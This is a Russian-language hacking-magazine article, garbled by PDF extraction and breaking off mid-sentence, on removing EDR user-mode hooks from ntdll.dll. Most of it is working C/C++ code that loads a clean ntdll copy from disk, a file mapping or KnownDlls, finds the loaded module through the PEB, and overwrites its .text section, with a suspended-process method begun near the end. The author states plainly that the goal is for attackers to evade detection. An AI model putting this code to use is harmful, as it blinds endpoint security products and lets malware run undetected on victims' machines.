статье мы разоб рали самый прос той и базовый слу чай безо вся кой обфуска- 
ции, вир туали зации, крип тогра фии и про чих заморо чек. Огра ничим ся
для начала им, оста вив более инте рес ные вари анты в качес тве тем
для будущих ста тей.
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Средс тва защиты, в час тнос ти EDR, любят
ста вить хуки. Хук — это спе циаль ная инс- 
трук ция, которая поз воля ет перех ватить
поток управле ния прог раммы при вызове
опре делен ной фун кции и в резуль тате кон- 
тро лиро вать, отсле живать и изме нять дан-
ные, передан ные этой фун кции. В этой
статье я покажу, как про водить обратный
про цесс — анху кинг.

Под робнее про хуки ты можешь узнать из ста тей
«

» и «

».

Вол шебные хуки. Как перех ватывать управле ние
любой прог раммой через WinAPI Мел комяг- 
кие хуки: Microsoft Detours - чес тное средс тво
для нас тояще го хакера

Ан хукинг поз воля ет снять хук, который был уста нов лен средс твом защиты.
Опре делить наличие хука нес ложно. Вот наг лядный при мер того, как он
может выг лядеть.

При мер хука

Здесь EDR пос тавил хук на . Эта фун кция будет
пос ледней в User Mode, она вызыва ется лишь для ини циали зации сис темно го
вызова и выделе ния памяти путем обра щения к ядру. В сто ковой кон фигура- 
ции, ког да хука нет, никаких безус ловных -перехо дов быть не дол жно. Тут

мы видим иную ситу ацию: переход как раз таки есть, поток управле ния отда- 
ется непонят но кому и непонят но куда. Поэто му нам как ата кующим, да и
прос то что бы укло нить ся от обна руже ния, нуж на опе рация анху кин га, которая
сни мет этот хук, и, как следс твие, средс тво защиты потеря ет кон троль
над потоком выпол нения прог раммы.

NtAllocateVirtualMemory()

jmp

От мечу лишь, что подоб ный спо соб обхо да хуков — один из мно жес тва.
Мож но, нап ример, совер шать Direct- и Indirect-сис колы, но сто ит пом нить, что
получит ся обой ти толь ко хуки, которые сто ят в User Mode. Если средс тво
защиты при меня ет хуки Kernel Mode (нап ример, SSDT Hooking), то подоб ные
методы ока жут ся бес полез ны. На будущее: SSDT — это спе циаль ная таб лица,
бла года ря которой сопос тавля ются сис кол и дей ствие ядра Windows. Есть,
конеч но, Kernel Patch Protection, который меша ет уста нав ливать подоб ные
хуки, но это уже сов сем дру гая исто рия.

В статье я рас смот рю наибо лее популяр ные спо собы сня тия хуков,
от прос того к слож ному.

Статья име ет озна коми тель ный харак тер и пред- 
назна чена для спе циалис тов по безопас ности,
про водя щих тес тирова ние в рам ках кон трак та.
Автор и редак ция не несут ответс твен ности
за любой вред, при чинен ный с при мене нием
изло жен ной информа ции. Рас простра нение вре- 
донос ных прог рамм, наруше ние работы сис тем
и наруше ние тай ны перепис ки прес леду ются
по закону.

Продолжение статьи →

https://t.me/Michaelzhm
https://xakep.ru/2018/01/26/winapi-hooks/
https://xakep.ru/2011/07/11/55795/


ПОЗНАЕМ АНХУКИНГ NTDLL.DLL

ВЗЛОМ  НАЧАЛО СТАТЬИ←
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Этот метод мож но счи тать одним из самых прос тых. Он осно ван на том, что
биб лиоте ка ntdll.dll под гру жает ся в память так же, как находит ся на дис ке.
При чем хуки уста нов лены непос редс твен но в памяти, на дис ке образ девс- 
твен но чист. Поэто му мы дол жны будем лишь счи тать биб лиоте ку с дис ка,
дос тать из нее PE-сек цию  (в ней находит ся код), а пос ле переза писать

сек цию  хук нутой биб лиоте ки сек цией, счи тан ной с дис ка.

.text
.text

Ал горитм сня тия хука

Мы будем исполь зовать фун кции  и , и EDR

может отсле живать их, поэто му есть риск, что наша , заг ружен ная
с дис ка, будет изме нена при попыт ке под гру зить ее содер жимое в прог- 
рамму. Поэто му при дет ся исполь зовать иной спо соб сня тия хука, нап ример
тащить ntdll.dll с неко его уда лен ного сер вера. Этот алго ритм реали зуем поз- 
же. За идею боль шое спа сибо .

ReadFile() MapViewOfFile()
ntdll.dll

Раль фу
Итак, сна чала нуж но счи тать содер жимое биб лиоте ки ntdll.dll. Нач нем

со стан дар тной фун кции . По умол чанию ntdll.dll лежит в сис- 
темной пап ке . Пред лагаю соз дать фун кцию, которая

будет воз вра щать буфер с содер жимым ntdll.dll.

ReadFile()
\Windows\System32

#define NTDLL "NTDLL.DLL"

    BOOL ReadNtdllFromDisk(OUT PVOID* ppNtdllBuf) {

        CHAR cWinPath[MAX_PATH / 2] = { 0 };
      CHAR cNtdllPath[MAX_PATH] = { 0 };
    HANDLE hFile = NULL;
       DWORD dwNumberOfBytesRead = NULL, dwFileLen = NULL;
    PVOID pNtdllBuffer = NULL;

      if (GetWindowsDirectoryA(cWinPath, sizeof(cWinPath)) == 0) {
    printf("[!] GetWindowsDirectoryA Failed With Error : %d \n",
GetLastError());
    goto EndOfFunc;
 }

    
 

sprintf_s(cNtdllPath, sizeof(cNtdllPath), "%s\\System32\\%s",
cWinPath, NTDLL);

      
   
hFile = CreateFileA(cNtdllPath, GENERIC_READ, FILE_SHARE_READ, NULL

, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
     if (hFile == INVALID_HANDLE_VALUE) {
    printf("[!] CreateFileA Failed With Error : %d \n", GetLastError
());
    goto EndOfFunc;
 }

    dwFileLen = GetFileSize(hFile, NULL);
     pNtdllBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY,
dwFileLen);

      
     

if (!ReadFile(hFile, pNtdllBuffer, dwFileLen, &dwNumberOfBytesRead,
NULL) || dwFileLen != dwNumberOfBytesRead) {
    printf("[!] ReadFile Failed With Error : %d \n", GetLastError());
     printf("[i] Read %d of %d Bytes \n", dwNumberOfBytesRead,
dwFileLen);
    goto EndOfFunc;
 }

   *ppNtdllBuf = pNtdllBuffer;

EndOfFunc:
  if (hFile)
   CloseHandle(hFile);
    if (*ppNtdllBuf == NULL)
    return FALSE;
 else
    return TRUE;
}

Ос тает ся про верить, что наш код вер но работа ет. Если ты пишешь в Visual
Studio, то откры вай пункт «Отладка → Парамет ры» и ставь две галоч ки, что бы
мож но было видеть содер жимое памяти.

Вклю чение показа содер жимого памяти

Пос ле чего перехо ди по пути «Отладка → Окна → Память», и смо жешь видеть
содер жимое памяти текуще го отла жива емо го про цес са.

Вклю чение окош ка отоб ражения памяти

Ос тает ся лишь убе дить ся, что по адре су, который занесет ся в перемен ную
, лежат вер ные зна чения. Так как биб лиоте ка ntdll.dll — PE-файл,

то пер вые бай ты дол жны быть рав ны MZ. Это так называ емая сиг натура, бла- 
года ря которой мож но убе дить ся, что мы получи ли пра виль ный адрес.

ppNtdllBuf

Прос мотр содер жимого в памяти

Вы ходит, наша ntdll.dll успешно про чита на с дис ка. Мож но так же исполь- 
зовать и иной API —  и . Эти фун кции

слу жат для отоб ражения фай ла в память. Раз работ чики час то при меня ют этот
механизм, что бы не писать каж дый раз информа цию на диск, теряя в про- 
изво дитель нос ти прог раммы, а вмес то это го записы вать дан ные непос редс- 
твен но в память и лишь потом, пос ле нес коль ких записей под ряд, сох ранять
их на диск. Фун кция для получе ния содер жимого ntdll.dll будет нем ногим
отли чать ся от пре дыду щей.

CreateFileMapping() MapViewOfFile()

#define NTDLL "NTDLL.DLL"

    BOOL MapNtdllFromDisk(OUT PVOID* ppNtdllBuf) {

       HANDLE hFile = NULL,
         hSection = NULL;

             CHAR cWinPath[MAX_PATH / 2] = { 0 };
           CHAR cNtdllPath[MAX_PATH] = { 0 };
        PBYTE pNtdllBuffer = NULL;

        if (GetWindowsDirectoryA(cWinPath, sizeof(cWinPath)) == 0) {
        printf("[!] GetWindowsDirectoryA Failed With Error : %d \n",

GetLastError());
        goto _EndOfFunc;

   }

      
 

sprintf_s(cNtdllPath, sizeof(cNtdllPath), "%s\\System32\\%s",
cWinPath, NTDLL);

        
   

hFile = CreateFileA(cNtdllPath, GENERIC_READ, FILE_SHARE_READ,
NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
       if (hFile == INVALID_HANDLE_VALUE) {

        printf("[!] CreateFileA Failed With Error : %d \n",
GetLastError());

        goto _EndOfFunc;
   }

         
   

hSection = CreateFileMappingA(hFile, NULL, PAGE_READONLY |
SEC_IMAGE_NO_EXECUTE, NULL, NULL, NULL);
       if (hSection == NULL) {

        printf("[!] CreateFileMappingA Failed With Error : %d \n",
GetLastError());

        goto _EndOfFunc;
   }

       
  

pNtdllBuffer = (PBYTE)MapViewOfFile(hSection, FILE_MAP_READ, NULL
, NULL, NULL);
       if (pNtdllBuffer == NULL) {

        printf("[!] MapViewOfFile Failed With Error : %d \n",
GetLastError());

        goto _EndOfFunc;
   }

     *ppNtdllBuf = pNtdllBuffer;

_EndOfFunc:
    if (hFile)
       CloseHandle(hFile);
    if (hSection)
       CloseHandle(hSection);
      if (*ppNtdllBuf == NULL)

        return FALSE;
   else

        return TRUE;
}

Воз можно, этот метод будет даже чуть более тихим, так как при таком мап- 
пинге не сра баты вает кол бэк , который может
быть уста нов лен анти вирус ным ПО. По край ней мере, так  на MSDN.

PsSetLoadImageNotifyRoutine
на писа но

Сле дующий шаг — получить адрес хук нутой ntdll.dll. Она уже находит ся
в адресном прос транс тве нашего про цес са. Пред лагаю получить ее адрес
из PEB. PEB — спе циаль ная струк тура дан ных, которая содер жит информа- 
цию о текущем про цес се.

   typedef struct _PEB {
 BYTE                          Reserved1[2];
 BYTE                          BeingDebugged;
 BYTE                          Reserved2[1];
 PVOID                         Reserved3[2];
 PPEB_LDR_DATA                 Ldr;
   PRTL_USER_PROCESS_PARAMETERS ProcessParameters;
 PVOID                         Reserved4[3];
 PVOID                         AtlThunkSListPtr;
 PVOID                         Reserved5;
 ULONG                         Reserved6;
 PVOID                         Reserved7;
 ULONG                         Reserved8;
 ULONG                         AtlThunkSListPtr32;
 PVOID                         Reserved9[45];
 BYTE                          Reserved10[96];
  PPS_POST_PROCESS_INIT_ROUTINE PostProcessInitRoutine;
 BYTE                          Reserved11[128];
 PVOID                         Reserved12[1];
 ULONG                         SessionId;
  } PEB, *PPEB;

Внут ри этой струк туры есть эле мент , пред став ляющий собой дру гую

струк туру, .

Ldr
PEB_LDR_DATA

   typedef struct _PEB_LDR_DATA {
 BYTE       Reserved1[8];
 PVOID      Reserved2[3];
  LIST_ENTRY InMemoryOrderModuleList;
  } PEB_LDR_DATA, *PPEB_LDR_DATA;

Внут ри  — еще одна струк тура (это пред послед няя мат решка,

чес тно). Называ ется она .

PEB_LDR_DATA
LIST_ENTRY

   typedef struct _LIST_ENTRY {
    struct _LIST_ENTRY *Flink;
    struct _LIST_ENTRY *Blink;
    } LIST_ENTRY, *PLIST_ENTRY, *RESTRICTED_POINTER PRLIST_ENTRY;

 мож но счи тать эта ким двус вязным спис ком. Через эле мент

 мож но получить дос туп к сле дующе му эле мен ту двус вязно го спис ка,
а через эле мент  — к пре дыду щему. Каж дый эле мент это го двус вязно го

спис ка пред став лен струк турой , которая содер жит

информа цию о каж дой DLL-биб лиоте ке, заг ружен ной в про цесс.

LIST_ENTRY
Flink

Blink
LDR_TABLE_ENTRY

   typedef struct _LDR_DATA_TABLE_ENTRY {
    PVOID Reserved1[2];
    LIST_ENTRY InMemoryOrderLinks;
    PVOID Reserved2[2];
    PVOID DllBase;
    PVOID EntryPoint;
    PVOID Reserved3;
    UNICODE_STRING FullDllName;
    BYTE Reserved4[8];
    PVOID Reserved5[3];
    union {

        ULONG CheckSum;
        PVOID Reserved6;

   };
    ULONG TimeDateStamp;
  } LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;

Боль ше все го нас инте ресу ют эле мен ты  и , у которых
внут ри базовый адрес заг рузки биб лиоте ки и ее имя соот ветс твен но. Поэто- 
му пред лагаю про бежать ся по это му спис ку, обна ружить эле мент, у которо го

 рав но , и выч ленить его
.

DllBase FullDllName

FullDllName C:\Windows\\System32\ntdll.dll
DllBase

#include <winternl.h>
#include <algorithm>
#include <string>

...

  PVOID FetchLocalNtdllBaseAddress() {
   // Достаем TEB (это как PEB, только для потока)
      PTEB teb = static_cast<PTEB>(NtCurrentTeb());
   // ИЗ TEB получаем PEB
      PPEB peb = teb->ProcessEnvironmentBlock;
   // Голова списка — верхний элемент. Просто по нему будем 
отслеживать, пробежались ли мы по всему списку или нет
      PLIST_ENTRY listHead = &peb->Ldr->InMemoryOrderModuleList;
   // Следующий за головой элемент
      PLIST_ENTRY listEntry = listHead->Flink;

      ULONG addr = 0X0;
      while (listEntry != listHead)
   {

    
 

       PLDR_DATA_TABLE_ENTRY ldrEntry = CONTAINING_RECORD(listEntry,
LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);

          std::wstring dllName = ldrEntry->FullDllName.Buffer;
  

 
       std::transform(dllName.begin(), dllName.end(), dllName.begin
(), ::tolower);

   
 

       if (dllName.find(L"c:\\windows\\system32\\ntdll.dll") != std:
:wstring::npos) {

            return ldrEntry->DllBase;
       }

         listEntry = listEntry->Flink;
   }
    return (PVOID)addr;
}

Ус пешное получе ние адре са хук нутой биб лиоте ки

Ос талось все го ничего — выч леня ем адре са сек ций  и заменя ем одну

сек цию дру гой! При чем опять есть два вари анта получе ния этой сек ции.
Можем пой ти через Optional Header ( ), внут ри
которо го содер жится RVA-адрес сек ции , эле мент , либо

через , пыта ясь обна ружить сек цию с име нем .

.text

IMAGE_OPTIONAL_HEADER
.text BaseOfCode

IMAGE_SECTION_HEADER .text

        PIMAGE_DOS_HEADER pLocalDosHdr = (PIMAGE_DOS_HEADER)pLocalNtdll;
   if (pLocalDosHdr->e_magic != IMAGE_DOS_SIGNATURE)
    return FALSE;

        
  

PIMAGE_NT_HEADERS pLocalNtHdrs = (PIMAGE_NT_HEADERS)((PBYTE)
pLocalNtdll + pLocalDosHdr->e_lfanew);
   if (pLocalNtHdrs->Signature != IMAGE_NT_SIGNATURE)
    return FALSE;

      
  

PVOID pLocalNtdllTxt = (PVOID)(pLocalNtHdrs->OptionalHeader.
BaseOfCode + (ULONG_PTR)pLocalNtdll);

      SIZE_T sNtdllTxtSize = pLocalNtHdrs->OptionalHeader.SizeOfCode;

 — базовый адрес ntdll.dll, получен ный ранее;• pLocalNtdll

 — адрес сек ции ;• pLocalNtdllTxt .text

 — раз мер сек ции.• sNtdllTxtSize

      PVOID pLocalNtdll = FetchLocalNtdllBaseAddress();
        PIMAGE_DOS_HEADER pLocalDosHdr = (PIMAGE_DOS_HEADER)pLocalNtdll
;
      if (pLocalDosHdr->e_magic != IMAGE_DOS_SIGNATURE)

        return FALSE;

        
  

PIMAGE_NT_HEADERS pLocalNtHdrs = (PIMAGE_NT_HEADERS)((PBYTE)
pLocalNtdll + pLocalDosHdr->e_lfanew);
      if (pLocalNtHdrs->Signature != IMAGE_NT_SIGNATURE)

        return FALSE;
      PIMAGE_SECTION_HEADER pSectionHeader = IMAGE_FIRST_SECTION(
pLocalNtHdrs);

           
 
for (int i = 0; i < pLocalNtHdrs->FileHeader.NumberOfSections; i

++) {

             if( strcmp(pSectionHeader[i]->Name, ".text") == 0) ) {
                PVOID pLocalNtdllTxt = (PVOID)((ULONG_PTR)pLocalNtdll +

pSectionHeader[i].VirtualAddress);
              SIZE_T sNtdllTxtSize = pSectionHeader[i].Misc.VirtualSize

;
           break;
       }
   }

При чем во вто ром вари анте мы мог ли бы избе жать исполь зования фун кции
 сле дующим усло вием:strcmp

      if ((*(ULONG*)pSectionHeader[i].Name | 0x20202020) == 'xet.') {

Сна чала выраже ние  при водит к тому, что имя  пре обра зует- 

ся в  , так как млад ший байт будет про читан пер вым и помещен в стар- 
шую позицию зна чения , а самый стар ший байт будет про читан пос- 

ледним и помещен пос ледним. Далее выпол няет ся побито вое ИЛИ для
вырав нивания получен ного зна чения по 32-бит ной гра нице. И наконец, про- 
исхо дит срав нение.

*(ULONG*) .text
xet.

ULONG

Ос тает ся лишь переза писать одну сек цию  дру гой. Для это го мож но

исполь зовать стан дар тный . Пред лагаю так же свес ти в отдель ную

фун кцию, которой дос таточ но лишь переда чи базово го адре са нехук нутой
ntdll.

.text
memcpy()

    
 

BOOL ReplaceNtdllTxtSection(IN PVOID pUnhookedNtdll /*адрес 
нехукнутой ntdll в памяти*/) {

   // Базовый адрес загрузки хукнутой ntdll.dll
    PVOID pLocalNtdll;
     pLocalNtdll = (PVOID)FetchLocalNtdllBaseAddress();

   // Получаем заголовок dos
        PIMAGE_DOS_HEADER pLocalDosHdr = (PIMAGE_DOS_HEADER)pLocalNtdll
;
      if (pLocalDosHdr->e_magic != IMAGE_DOS_SIGNATURE)

        return FALSE;

        
  

PIMAGE_NT_HEADERS pLocalNtHdrs = (PIMAGE_NT_HEADERS)((PBYTE)
pLocalNtdll + pLocalDosHdr->e_lfanew);
      if (pLocalNtHdrs->Signature != IMAGE_NT_SIGNATURE)

        return FALSE;

       PVOID       pLocalNtdllTxt = NULL, // Адрес секции .text 
хукнутой либы

          pRemoteNtdllTxt = NULL; // Адрес секции .text анхукнутой либы
      SIZE_T      sNtdllTxtSize = NULL; // Размер секции .text

      PIMAGE_SECTION_HEADER pSectionHeader = IMAGE_FIRST_SECTION(
pLocalNtHdrs);

           
 
for (int i = 0; i < pLocalNtHdrs->FileHeader.NumberOfSections; i

++) {

       //  if( strcmp(pSectionHeader[i].Name, ".text") == 0 )
             if ((*(ULONG*)pSectionHeader[i].Name | 0x20202020) == 'xet.')

{

           // Получаем адрес секции .text хукнутой ntdll.dll
               pLocalNtdllTxt = (PVOID)((ULONG_PTR)pLocalNtdll +

pSectionHeader[i].VirtualAddress);
#ifdef MAP_NTDLL

               pRemoteNtdllTxt = (PVOID)((ULONG_PTR)pUnhookedNtdll +
pSectionHeader[i].VirtualAddress);
#endif
#ifdef READ_NTDLL

               pRemoteNtdllTxt = (PVOID)((ULONG_PTR)pUnhookedNtdll +
1024);

               if (*(ULONG*)pLocalNtdllTxt != *(ULONG*)pRemoteNtdllTxt)
{

                   pRemoteNtdllTxt = (PVOID)((char*)pRemoteNtdllTxt +
3072);

                  if (*(ULONG*)pLocalNtdllTxt != *(ULONG*)
pRemoteNtdllTxt)

                    return FALSE;
           }
#endif

             sNtdllTxtSize = pSectionHeader[i].Misc.VirtualSize;
           break;
       }
   }

        if (!pLocalNtdllTxt || !pRemoteNtdllTxt || !sNtdllTxtSize)
        return FALSE;

      DWORD dwOldProtection = NULL;

      
  

if (!VirtualProtect(pLocalNtdllTxt, sNtdllTxtSize,
PAGE_EXECUTE_WRITECOPY, &dwOldProtection)) {

        printf("[!] VirtualProtect [1] Failed With Error : %d \n",
GetLastError());

        return FALSE;
   }

     memcpy(pLocalNtdllTxt, pRemoteNtdllTxt, sNtdllTxtSize);

      
  

if (!VirtualProtect(pLocalNtdllTxt, sNtdllTxtSize,
dwOldProtection, &dwOldProtection)) {

        printf("[!] VirtualProtect [2] Failed With Error : %d \n",
GetLastError());

        return FALSE;
   }

    return TRUE;
}

Ду маю, у тебя появи лись воп росы по поводу сле дующе го учас тка кода:

             if ((*(ULONG*)pSectionHeader[i].Name | 0x20202020) == 'xet.')
{

           // Получаем адрес секции .text хукнутой ntdll.dll
               pLocalNtdllTxt = (PVOID)((ULONG_PTR)pLocalNtdll +

pSectionHeader[i].VirtualAddress);
#ifdef MAP_NTDLL

               pRemoteNtdllTxt = (PVOID)((ULONG_PTR)pUnhookedNtdll +
pSectionHeader[i].VirtualAddress);
#endif
#ifdef READ_NTDLL

               pRemoteNtdllTxt = (PVOID)((ULONG_PTR)pUnhookedNtdll +
1024);

               if (*(ULONG*)pLocalNtdllTxt != *(ULONG*)pRemoteNtdllTxt)
{

                   pRemoteNtdllTxt = (PVOID)((char*)pRemoteNtdllTxt +
3072);

                  if (*(ULONG*)pLocalNtdllTxt != *(ULONG*)
pRemoteNtdllTxt)

                    return FALSE;
           }
#endif

             sNtdllTxtSize = pSectionHeader[i].Misc.VirtualSize;
           break;
       }
   }

Сме щение сек ции  раз лича ется в зависи мос ти от того, каким обра зом
мы счи тыва ем ntdll.dll с дис ка. Если мы счи тыва ем ее через

, то сме щение всег да будет таким:

.text

CreateFileMapping()

pSectionHeader[i].VirtualAddress 

Ес ли же счи тывать через , то иног да вый дет 1024, а иног да 4096.

Най ти законо мер ности не получи лось, поэто му сна чала мы добав ляем сме- 
щение 1024, про веря ем, соот ветс тву ют ли бай ты по это му адре су бай там
ори гиналь ной, хук нутой ntdll. Если не соот ветс тву ют, зна чит, оффсет 4096,
но мы уже при бави ли 1024, поэто му добав ляем 3072. И вновь про водим про- 
вер ку.

ReadFile()

В резуль тате чего мы смо жем без проб лем заменить одну биб лиоте ку дру- 
гой, что поз волит снять хук. Пол ный код — в . Есть 

 TheD1rkMtr, он добавил еще и патч от ETW.
мо ем репози тории по хожая
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ПОЗНАЕМ АНХУКИНГ NTDLL.DLL

ВЗЛОМ  НАЧАЛО СТАТЬИ←

ÑÍßÒÈÅ ÕÓÊÀ ×ÅÐÅÇ KNOWNDLLS

KnownDlls — спе циаль ный раз дел в реес тре, где содер жатся DLL, которые
заг рузчик Windows исполь зует для опти миза ции про цес са заг рузки при ложе- 
ний. В Windows XP и более ран них вер сиях каталог KnownDlls рас полагал ся
в пап ке . В более новых вер сиях Windows этот каталог

встро ен в ОС, поэто му пря мого дос тупа к нему нет. Спи сок всех «извес тных»
DLL мож но най ти вот в этом раз деле реес тра:

C:\Windows\System32

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\
KnownDLLs 

Из влечь биб лиоте ку воз можно с помощью фун кции ,

по неиз вес тным при чинам исполь зование  при водит
к ошиб ке . Про тотип у фун кции сле дующий.

NtOpenSection()
OpenFileMapping()

ERROR_BAD_PATHNAME

 NTSTATUS NtOpenSection(
  OUT PHANDLE             SectionHandle,
   IN ACCESS_MASK         DesiredAccess,
     IN POBJECT_ATTRIBUTES ObjectAttributes
);

Об рати вни мание на пос ледний параметр — . Его нуж но

ини циали зиро вать с помощью фун кции .

ObjectAttributes
InitializeObjectAttributes()

 VOID InitializeObjectAttributes(
    [out]          POBJECT_ATTRIBUTES p,
 [in]           PUNICODE_STRING      n,
 [in]           ULONG                a,
   [in]           HANDLE               r, // NULL
       [in, optional] PSECURITY_DESCRIPTOR s // NULL
);

 — ука затель на струк туру ;• p OBJECT_ATTRIBUTES

 — ука затель на струк туру , которая будет содер жать
имя  из ;

• n UNICODE_STRING

ntdll.dll KnownDll

 — уста нав лива ем зна чение в .• s OBJ_CASE_INSENSITIVE

  UNICODE_STRING.Buffer = (PWSTR)L"\KnownDlls\ntdll.dll";
    UNICODE_STRING.Length = wcslen(L"\KnownDlls\ntdll.dll") * sizeof(

WCHAR);
    UNICODE_STRING.MaximumLength = UniStr.Length + sizeof(WCHAR);

Те перь мы смо жем без проб лем передать ини циали зиро ван ный объ ект
в фун кцию , а затем отра зить ntdll.dll на адресное прос- 

транс тво текуще го про цес са через ранее опи сан ный .
Пред лагаю вновь свес ти всё до фун кции, воз вра щающей адрес, по которо му
биб лиоте ка спро еци рова на в память.

NtOpenSection()
MapViewOfFile()

#include <winternl.h>
#define NTDLL   L"\\KnownDlls\\ntdll.dll"

   typedef NTSTATUS (NTAPI* fnNtOpenSection)(
PHANDLE               SectionHandle,
ACCESS_MASK           DesiredAccess,

    POBJECT_ATTRIBUTES ObjectAttributes
);

    BOOL MapNtdllFromKnownDlls(OUT PVOID* ppNtdllBuf) {

     HANDLE              hSection = NULL;
     PBYTE               pNtdllBuffer = NULL;
     NTSTATUS                STATUS = NULL;
       UNICODE_STRING          UniStr = { 0 };
          OBJECT_ATTRIBUTES ObjAtr = { 0 };

     UniStr.Buffer = (PWSTR)NTDLL;
       UniStr.Length = wcslen(NTDLL) * sizeof(WCHAR);
       UniStr.MaximumLength = UniStr.Length + sizeof(WCHAR);

     
  

InitializeObjectAttributes(&ObjAtr, &UniStr, OBJ_CASE_INSENSITIVE
, NULL, NULL);

      
 

fnNtOpenSection pNtOpenSection = (fnNtOpenSection)GetProcAddress(
GetModuleHandle(L"NTDLL"), "NtOpenSection");

       STATUS = pNtOpenSection(&hSection, SECTION_MAP_READ, &ObjAtr);
       if (STATUS != 0x00) {

        printf("[!] NtOpenSection Failed With Error : 0x%0.8X \n",
STATUS);

        goto _EndOfFunc;
   }

       
  

pNtdllBuffer = (PBYTE)MapViewOfFile(hSection, FILE_MAP_READ, NULL
, NULL, NULL);
       if (pNtdllBuffer == NULL) {

        printf("[!] MapViewOfFile Failed With Error : %d \n",
GetLastError());

        goto _EndOfFunc;
   }

     *ppNtdllBuf = pNtdllBuffer;

_EndOfFunc:
    if (hSection)
       CloseHandle(hSection);
      if (*ppNtdllBuf == NULL)

        return FALSE;
   else

        return TRUE;
}

Пос ле получе ния адре са про веря ем, что там дей стви тель но находит ся наша
биб лиоте ка.

Про еци рова ние через MapViewOfFile + NtOpenSection

Ос тает ся лишь так же гра мот но рас парсить PE и заменить одну сек цию 

дру гой. Здесь все про ще, чем при чте нии с дис ка. Всег да будет оди нако вое
сме щение, рав ное 4096.

.text

    BOOL ReplaceNtdllTxtSection(IN PVOID pUnhookedNtdll) {

      PVOID pLocalNtdll = (PVOID)FetchLocalNtdllBaseAddress();

        PIMAGE_DOS_HEADER pLocalDosHdr = (PIMAGE_DOS_HEADER)pLocalNtdll
;
        if (pLocalDosHdr && pLocalDosHdr->e_magic != IMAGE_DOS_SIGNATURE)

        return FALSE;

        
  

PIMAGE_NT_HEADERS pLocalNtHdrs = (PIMAGE_NT_HEADERS)((PBYTE)
pLocalNtdll + pLocalDosHdr->e_lfanew);
      if (pLocalNtHdrs->Signature != IMAGE_NT_SIGNATURE)

        return FALSE;

     PVOID       pLocalNtdllTxt = NULL,
         pRemoteNtdllTxt = NULL;

     SIZE_T      sNtdllTxtSize = NULL;

      PIMAGE_SECTION_HEADER pSectionHeader = IMAGE_FIRST_SECTION(
pLocalNtHdrs);

           
 
for (int i = 0; i < pLocalNtHdrs->FileHeader.NumberOfSections; i

++) {

       // if( strcmp(pSectionHeader[i].Name, ".text") == 0 )
             if ((*(ULONG*)pSectionHeader[i].Name | 0x20202020) == 'xet.')

{
               pLocalNtdllTxt = (PVOID)((ULONG_PTR)pLocalNtdll +

pSectionHeader[i].VirtualAddress);
               pRemoteNtdllTxt = (PVOID)((ULONG_PTR)pUnhookedNtdll +

pSectionHeader[i].VirtualAddress);
             sNtdllTxtSize = pSectionHeader[i].Misc.VirtualSize;

           break;
       }
   }

        if (!pLocalNtdllTxt || !pRemoteNtdllTxt || !sNtdllTxtSize)
        return FALSE;

      if (*(ULONG*)pLocalNtdllTxt != *(ULONG*)pRemoteNtdllTxt)
        return FALSE;

      DWORD dwOldProtection = NULL;

      
  

if (!VirtualProtect(pLocalNtdllTxt, sNtdllTxtSize,
PAGE_EXECUTE_WRITECOPY, &dwOldProtection)) {

        printf("[!] VirtualProtect [1] Failed With Error : %d \n",
GetLastError());

        return FALSE;
   }

     memcpy(pLocalNtdllTxt, pRemoteNtdllTxt, sNtdllTxtSize);

      
  

if (!VirtualProtect(pLocalNtdllTxt, sNtdllTxtSize,
dwOldProtection, &dwOldProtection)) {

        printf("[!] VirtualProtect [2] Failed With Error : %d \n",
GetLastError());

        return FALSE;
   }

    return TRUE;
}

Код бук валь но ско пиро ван из пре дыду щей час ти статьи. Раз ве что теперь
оффсет всег да один и тот же. Для чис тоты экспе римен та можем про верить,
что дей стви тель но копиру ется одна сек ция  на дру гую..text

Что хра нит ся по адре су pLocalNtdllTxt

Что хра нит ся по адре су pRemoteNtdllTxt

Пол ный код я выложил на . И опять же у нашего дру га TheD1rkMtr есть
 это го метода.

GitHub
своя реали зация

Здесь есть одна осо бен ность, о которой важ но знать: ты дол жен исполь- 
зовать 64-бит ную прог рамму на 64-бит ной сис теме. Если запус кать прог- 
рамму для х86 на сис теме x86-64, то в про цес се будет находить ся ntdll.dll
для х86, а из KnownDll при летит DLL для x86-64, что при переза писи при ведет
к кра шу.

x86 ntdll в прог рамме для x86

А мы пыта емся под менить на x86-64

ÑÍßÒÈÅ ÕÓÊÀ ×ÅÐÅÇ ÏÐÈÎÑÒÀÍÎÂËÅÍÍÛÉ ÏÐÎÖÅÑÑ

Лю бой про цесс в Windows мож но запус тить в при оста нов ленном сос тоянии.
Для это го дос таточ но передать в фун кцию  флаг

 либо . При чем в таком сос тоянии в про- 

цесс будет под гру жена толь ко .

CreateProcess()
CREATE_SUSPENDED DEBUG_PROCESS

ntdll.dll

Од на биб лиоте ка

За тем, возоб новляя основной поток про цес са, нап ример через
, под тягива ем в него оставши еся биб лиоте ки.ResumeThread()

Под клю чение недос тающих биб лиотек

Ты можешь про верить это самос тоятель но с помощью прос того кода.

#include <windows.h>
#include <iostream>

  int main() {
    STARTUPINFO si;
    PROCESS_INFORMATION pi;

    ZeroMemory(&si, sizeof(si));
     si.cb = sizeof(si);
    ZeroMemory(&pi, sizeof(pi));

    if (!CreateProcess(L"C:\\Windows\\System32\\notepad.exe",
       NULL,
       NULL,
       NULL,
       FALSE,
       CREATE_SUSPENDED,
       NULL,
       NULL,
       &si,
       &pi)

        ) {
             std::cerr << "CreateProcess failed (" << GetLastError() << ")

.\n";
        return -1;

   }

     std::cout << "The process is created in suspended state.\n";
   getchar();

       if (ResumeThread(pi.hThread) == -1) {
             std::cerr << "ResumeThread failed (" << GetLastError() << ").

\n";
        return -1;

   }

   getchar();
   CloseHandle(pi.hProcess);
   CloseHandle(pi.hThread);

    return 0;
}

В биб лиоте ке ntdll.dll, которая находит ся в при оста нов ленном про цес се,
могут отсутс тво вать хуки по той при чине, что оставши еся DLL, в том чис ле
анти вирус ные, баналь но не под гру зились. Конеч но, такое поведе ние встре- 
чает ся все реже и реже, но о нем не сто ит забывать сов сем.

По это му оста ется лишь получить базовый адрес заг рузки этой ntdll.dll,
дос тать его, а затем ско пиро вать сек цию  на ntdll.dll сво его про цес са.

Единс твен ная заг воз дка — для копиро вания сек ции  тре бует ся знать ее

раз мер. Дос тать, конеч но же, мож но и через пар синг PE. Пред лагаю свес ти
